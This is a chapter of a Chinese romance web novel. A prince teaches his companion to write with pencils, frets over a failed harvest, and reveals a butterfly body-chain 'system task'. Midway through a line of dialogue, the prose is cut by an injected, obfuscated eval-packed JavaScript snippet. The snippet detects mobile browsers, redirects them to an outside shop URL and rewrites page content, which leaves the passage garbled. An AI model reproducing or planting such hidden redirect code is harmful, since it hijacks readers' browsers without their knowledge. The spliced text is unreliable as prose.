倪映天有点出神地看着岑月白颈侧,呆呆地点了下头。 “看什么?”岑月白伸手在他眼前挥了挥,“铅笔。” “啊?哦。”倪映天回过神,在空中轻轻一抓,几只削好的木色铅笔凭空出现在他手中。 岑月白目光微亮,伸手取过一支。 笔杆圆润,重量很轻。 他试着在指尖转了转,又用指腹摸了摸那深灰色的笔尖。 “不是这样拿的。”倪映天总算从那种晕乎乎的状态里找回一丝神智。 “用拇指,食指和中指捏住笔杆,笔尖斜着,轻轻压在纸上就行,不用像毛笔那样控制力道。” 岑月白听他的描述,学着握住笔。 倪映天看着岑月白皱眉摆弄他那几根白玉般的手指,莫名觉得有点……好看。 他咳了一声,收回了目光,矮身从床榻内侧的暗格里摸出一小叠信纸。 书桌旁,岑月白似乎还不得关窍,握笔姿势略显怪异。 “不对,错了。”倪映天看得着急,下意识抓住了岑月白的手。 鼻尖相触,两人俱是微微一怔。 岑月白猛得侧头看向倪映天,倪映天也下意识转头,迎着他的目光。 两人的脸近在咫尺,睫毛都似乎要扫到对方。 短暂地怔愣之后,岑月白一勾唇:“轮到王爷教我了么?” 倪映天心脏猛跳两下,却没收回手,他握着岑月白的手,沉声道:“食指再往下一点,对,这样……拇指不用扣那么紧。” 岑月白被他带着,将笔尖落在书案上的那叠纸上,手腕一动,在纸上画出一道纤长的印记。 他抿着唇,带着岑月白,在纸上缓缓写下一个“月”字。 写完,倪映天便耳根通红地退开半步。 岑月白垂眸,学着方才的感觉,生涩地移动手腕,歪歪扭扭地写下一个“天”字。 倪映天瞥见,忍不住小声嘟囔:“你看,换个笔,写得还不如我……” 岑月白抬眼嗔他一眼,没什么怒意,配上眼尾那抹红反而添了些别的意味。 他赌气般抿紧唇,努力适应着铅笔轻便却陌生的手感。 倪映天看着他一笔一画地练习,目光却不自觉地微微下移。 岑月白微微低头,一缕墨发滑落肩头。 因着书写的动作,他颈侧的衣料轻轻起伏,原本严密的交领被扯开了一丝几乎看不见的缝隙。 他在衣料的掩映中,看到了岑月白藏起来的那个……吻痕。 很小,很淡,像落在羊脂玉上的一小粒朱砂,沁入的一滴血。 那是他留下的。 这个认知毫无征兆地撞进倪映天心里,带着一种陌生的滚烫。 那片无瑕的完美之上,被他笨拙地烙下了一个印记。这种感觉他并不令人讨厌,反而诡异地滋生出一丝暖意。 那点痕迹像一个微小的裂隙,有种破坏的冲动让他忽然想……顺着那缝隙探进去,窥见更多,将完美地一切撕碎,毁坏。 他慌忙移开视线,心跳如擂鼓。 岑月白浑然无觉,似乎已初步掌握了铅笔的力道,在纸上画下的线条愈发笔直流畅。 他想写字,却不知写点什么好。 岑月白的手指无意识地抚摸信纸边缘梁王府的暗纹,目光游离。 他忽然想到了忽然想起了几天前,自己偷出那几张纸,那封未送出的,写给姐姐岑澜的信。 他重新提笔,缓慢地写下一行: “阿姊安,见字如晤。” 岑月白重新写了那封信,在最后添了一句“我很安全,勿念”。 “过会儿我差人帮你把这封信送到秦州。”倪映天问,“你想见她吗?” 岑月白睫毛轻眨,他轻轻点了点头。 “年关时,按例兄长要回宣京朝贺,也会带上王嫂的。我们今年……也回去。” 岑月白握着铅笔的手指,微微收紧了些,嘴唇轻勾,说,“谢谢。” 接下来的两日,王府内一切如常,又似乎有些东西悄然改变了。 倪映天继续忙于组织锻造和水渠的规划。岑月白对那几支铅笔很是着迷,得了空便坐在窗下,对着纸张写写画画,或者对倪映天给他的那些资料认真钻研。 岑月白十分好学,缠着倪映天给他下载了基础的科学读本,他读得津津有味,顿时大开眼界。 只是苦了倪映天,工作之余还要为“十万个为什么”解惑答疑。 今年秋收的情况汇报上来,倪映天看着糟糕的数据发愁,官府里的一群草包官员,纷纷提议,想要叫停挖掘水渠。 吵得倪映天头疼,见到人就想躲着走。 说是害怕春饥,可如果不修渠,赶不上春耕,就更没粮食修渠了。 倪映天回到王府时,岑月白正抱着一堆课本缩在角落看书。 “又不穿鞋。”倪映天皱了皱眉,“就算暖阁有炉火,你也不能天天光着脚啊。” 岑月白手里抱了本又大又厚的书,赤着脚,整个人蜷在墙边,头上披了个大毯子,正埋头看得认真。 闻言,他从书中探出头来,见到倪映天时眼神发光。 “这都快入冬了,寒从脚起,你这样又要染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301690|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风寒了。”倪映天叹口气,随手抱着一个褥子丢到他脚边。 岑月白却好似没听到他讲话,用铅笔在书上划了几道,又连忙起身缠上来问题。 “你来的正好,我看不懂这个。”岑月白指着儿童版百科全书上的彩色插画,问,“书上说我们的世界是个圆的,飘在虚空里,那我们站在地面上,球另一边的人岂不是都要掉下去?” “……”倪映天揉揉眉心,看到岑月白清澈的眼睛,心里的烦躁忽然就化开了一点,耐心地解释,“因为地球有引力,会把人吸上去,就像磁铁。” “可我身上没有磁铁。”岑月白有些困惑。 倪映天拿过他手上的书,对着目录翻了几页,指着上面的牛顿和苹果:“一会儿先看这几页,你就明白了。” “好。”岑月白点头答应,正要接回书,书却被倪映天合上,随手放在一旁。 “?”岑月白疑惑,看到倪映天的表情,问,“你怎么看起来有点不开心?出什么事了吗?” 倪映天忽然安静了下来,定定地看着他。烛光在那双深邃的眼睛里跳跃。 “你……干什么?”岑月白忽然有些紧张,下意识往后缩了缩。 倪映天没有回答,只是沉默了很久。 久到岑月白以为他不会再说话时,他才缓缓开口:“是这样的,今秋青陵的收成不好,你知道吗?” “确实,今夏的雨水有点太多了,天气阴。” “今年秋天这收成,大多数百姓肯定吃不饱,”倪映天的语气有些别扭,视线飘向别处,“但是我们秋天又要来修水利,更需要足够的粮食。” “所以呢……”岑月白被他那灼热的目光看得心里毛毛的。 “所以……为了防止明年闹饥荒……”倪映天说,“我打算用系统换一批比较耐寒的作物,趁着秋播的尾巴种植……” 岑月白明白了他的意思。 他深深吸了一口气,又缓缓吐出,像是认命般问:“任务是什么?” “我回来路上翻了好久……”倪映天的耳根开始泛红,“最后才找到一个……简单点的……” 说着,他朝着虚空伸出手,指尖似乎在触碰什么看不见的界面。然后,轻轻一抓。 一道微光闪过。 他手里忽然多了一捧细碎的银光。 岑月白定睛看去。 那是几条细银链编织成的网,在烛光下折射着月光般的清辉。 链网中心,缀着一只孔雀蓝的琉璃蝴蝶,栩栩如生。 蝴蝶翅膀大而舒展,是半透明的琉璃薄片,薄如蝉翼,每一片翅脉都用更细的金丝勾勒。蝶身嵌着碎钻,随着光线流转,折射出星子般细碎的光芒。 最精巧的是,蝴蝶的触须末端,各坠着一颗极小的珍珠,轻轻一碰,便颤巍巍地晃动起来。 岑月白从未见过如此精巧的小物件。 他下意识伸手接过,细细打量。 他的指尖触到微凉的银链,他轻轻一扯。 银链绷紧,蝴蝶翅膀下的机关被牵动,那对宝石翅膀竟真得轻轻扇动了一下。 一下,又一下,像一只被困在银网中的,真正的蓝蝶,挣扎着想要飞起。 “这是什么……”岑月白怔怔地看着,睫毛随着蝴蝶振翅忽闪。 倪映天此刻的脸颊已经红透:“是身体链……戴在你身上的……任务道具。” 岑月白握着手里的银链。 链子很轻,触感微凉,翅膀上的宝石折射出迷离的光。 他抬起头,看向倪映天:“穿上这个……就可以了吗?” “不。” 倪映天摇了摇头。他深吸一口气,掩面说:“这个任务叫……蝴蝶振翅一百次……” 话音落下,房间里死一般寂静。 那只蝴蝶静静地躺在在岑月白掌心。簌得一声,琉璃翅膀又扇动了一下。 像心跳。